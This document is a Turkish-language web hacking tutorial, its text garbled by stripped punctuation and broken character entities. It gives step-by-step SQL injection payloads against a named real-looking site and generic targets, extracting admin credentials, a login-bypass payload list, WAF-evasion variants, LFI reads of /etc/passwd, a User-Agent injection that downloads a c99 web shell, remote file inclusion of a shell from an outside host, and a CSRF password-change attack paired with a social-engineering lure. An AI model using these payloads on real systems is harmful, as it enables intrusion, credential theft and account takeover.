Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş
Şimdi kolonları yansıtalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz
Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz
Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--
Sorgusunun ardından ekrana tablersquolar yansıdı
Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )
Şimdi admin tablosundaki kolonlara bakalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
Ekrana userpassmail yansıdığını farz edelim
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--
User admin
Pass 123456
Email adminparoswinescom
b-) Ms Access SQL İnjection
Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml
SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr
Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo
Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir
Microsoft JET Database Engine error rsquo80040e14rsquo
Syntax error in string in query expression rsquoid = 10rsquo
sayfaasp line 7
Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz
wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti
wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata
Microsoft JET Database Engine error rsquo80040e14rsquo
The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression
sayfaasp line 7
Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek
wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış
Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım
wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza
Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani
wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--
ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir
wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--
Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur
User mahserat
Pass bugres
c-) Blind SQL İnjection
Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz
Gene bir hedef site duumlşuumlnuumln
wwwsayfacomdosyaphpid=2 olsun
Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz
wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor
and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz
Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz
wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım
wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş
Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325
burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir
Şimdi user sutuumlnunu ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572
Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim
and substring((select user from users)11)=0x(tahmin edilen users)
and substring((select pass from users)21)=0x(tahmin edilen users)
Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz
Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir
d-) String SQL İnjection
Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani
wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor
wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz
wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim
wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok
wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil
wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor
Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi
wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )
Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr
Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox
Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde
Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Şeklinde Kadı ve Şifreyi ccedilektik
e-) SQL İnjection Login Bypass
SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım
Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl
SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere
adminrsquomdash
rsquo or 0=0 --
rsquo or rsquo 1=1
rsquo or rsquo 1
rsquo or rsquo
or 0=0 --
or 0=0 --
rsquo or 0=0
or 0=0
or 0=0
rsquo or rsquoxrsquo=rsquox
or x=x
rsquo) or (rsquoxrsquo=rsquox
rsquo or 1=1--
or 1=1--
or 1=1--
rsquo or a=a--
or a=a
rsquo) or (rsquoarsquo=rsquoa
) or (a=a
hi or a=a
hi or 1=1 --
hirsquo or 1=1 --
hirsquo or rsquoarsquo=rsquoa
hirsquo) or (rsquoarsquo=rsquoa
hi)or(a=a
Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz
lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım
Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz
Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu
f-) PostData SQL İnjection
Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl
Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan
ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz
Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza
Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz
ltform name=t1 method=POST action=loginaspxgt
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
